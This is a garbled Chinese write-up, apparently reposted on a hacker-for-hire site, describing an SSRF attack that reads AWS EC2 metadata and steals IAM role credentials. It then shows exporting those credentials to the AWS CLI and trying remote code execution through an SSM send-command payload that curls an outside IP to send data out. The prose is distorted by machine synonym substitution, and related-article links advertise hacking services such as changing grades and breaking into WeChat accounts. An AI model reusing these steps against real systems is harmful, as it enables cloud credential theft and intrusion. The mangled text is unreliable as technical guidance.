使用SSRF走漏云环境中的Metadata数据进一步完成RCE

访客6年前黑客工具1085

本文我将向咱们共享一个新的十分有意思的缝隙。运用该缝隙可认为咱们走漏云环境中的Metadata数据,并进一步的完成长途代码履行(RCE )。
测验规模
在对该站点进行子域枚举时,我找到了[docs.redact.com]这个子域。
查找带外资源加载
[docs]子域名显现了一些文档和计算信息

在点击计算数据的照片时,我看到了一些古怪的链接:

我想到的榜首件事便是将[url]的值改为generaleg0x01.com

然后,我留意到了[mimeType]参数并修改更改了链接,如下:
https://docs.redact.com/report/api/v2/help/asset?url=https://generaleg0x01.com&mimeType=text/html&t=REDACTED.JWT.TOKEN&advertiserId=11

到目前为止它仅仅[带外资源加载]
验证 SSRF
当我查看BurpSuite中的恳求/呼应时我留意到了呼应头[X-Amz-Cf-Id]
所以,当时的环境应该是AWS。
咱们需求保证SSRF在这里能够正常运用。正如咱们所知,[169.254.169.254]是EC2实例的本地IP地址。
让咱们测验经过导航到[ latest/meta-data/]来访问元数据文件夹。

SSRF被承认。
让咱们经过导航到[/latest/meta-data/iam/security-credentials/]来查看咱们当时的人物。
能够看到当时为:aws-elasticbeanstalk-ec2-role

什么是 AWS Elastic Beanstalk ?
AWS Elastic Beanstalk是AWS供给的渠道即服务(PaaS),用于布置和扩展针对各种环境(如Java,.NET,PHP,Node.js,Python,Ruby和Go)开发的Web应用程序。
它会主动处理布置,容量装备,负载均衡,主动扩展和应用程序运行状况监督。
抓取所需数据
1)转到[/latest/meta-data/iam/security-credentials/aws-elasticbeanstalk-ec2-role/]
获取[AccessKeyId,SecretAccessKey,Token]

2)转到[/latest/dynamic/instance-identity/document/]
获取[instanceId,accountId,region]

装备 AWS 指令行界面
翻开terminal终端:
~# apt install awscli
~# export AWS_ACCESS_KEY_ID=AccessKeyId
~# export AWS_SECRET_ACCESS_KEY=SecretAccessKey
~# export AWS_DEFAULT_REGION=region
~# export AWS_SESSION_TOKEN=Token

获取[UserID]
~# aws sts get-caller-identity

SSRF运用得很好,现在让咱们进一步的缝隙发掘,看看能否将其晋级为要挟性更大的“RCE”
从 SSRF 到 RCE
我测验了一些潜在的运用场景。
经过[s *** send-command]发送指令失利
之后我研讨测验运用了AWS Systems Manager [s *** ] 指令。
但该人物无权履行此指令。我期望运用aws s *** send-command来完成缝隙晋级。
~# aws s *** send-command –instance-ids “instanceId” –document-name “AWS-RunShellScript” –comment “whoami” –parameters commands=’curl 128.199.xx.xx:8080/`whoami`’ –output text –region=region
但显现调用SendCommand操作时发作过错(AccessDeniedException)。
An error occurred (AccessDeniedException) when calling the SendCommand operation: User: arn:aws:sts::765xxxxxxxxx:assumed-role/aws-elasticbeanstalk-ec2-role/i-007xxxxxxxxxxxxxx is not authorized to perform: s *** :SendCommand on resource: arn:aws:ec2:us-east-1:765xxxxxxxxx:instance/i-00xxxxxxxxxxxxxx

经过[SSH]晋级缝隙相同失利,SSH端口已封闭。

[1] [2]  黑客接单网

相关文章

机器屡次歹意提交进犯简略防备

 先说布景:机器不断的发送恳求或许歹意提交,会给服务器形成很大压力;针对这种进犯 最优的战略是判别提交次数,发生动态验证码 ,即 判别ip规则时刻内重复发送到达N次弹出验证码 。下面是小拽在实践进程中...

微信共享实时位置修改_大学如何找黑客改成绩-找黑客帮忙查资料

先进入DVWA调整形式为LOW微信共享实时位置修改,大学如何找黑客改成绩 仿制代码3.进犯微信共享实时位置修改,大学如何找黑客改成绩,找黑客帮忙查资料$yourport = "2333"; 影响...

ip地址查询定位,什么方法能联系上黑客,帮我找一个微信黑客

ashx代码文件如下运用元数据表爆出表名MITM,全称为Man In The Middle,即中间人。 地址解析协议是建立在网络中各个主机相互信赖的基础上的,它的诞生使得网络能够愈加高效的运转,但其自...

王者荣耀号和密码真的_联系黑客的微信号-维恩交易平台可以找黑客吗

$tmp = '';指令:arpspoof -t 192.168.1.106 192.168.1.1 Completed SYN Stealth Scan at 09:57, 318.66s e...

Google.org点击劫持DOM XSS-黑客接单平台

谷歌有一个项目信任许多人或许都没听过,那便是谷歌危机地图(Google Crisis Map)。 该项目旨在协助人们能够快速的查找和运用一些要害的应急信息(来历)。 尽管它现在仍在运用,但它好像运用的...

pwnhub -- 肯定防护 writeup

 周末做了一道关于我来说很蛋疼的标题...可是看了各位师傅的writeup就觉得自己的思路太窄了.... 标题地址:https://pwnhub.cn/gamedetail?id=13 注册之后有个留...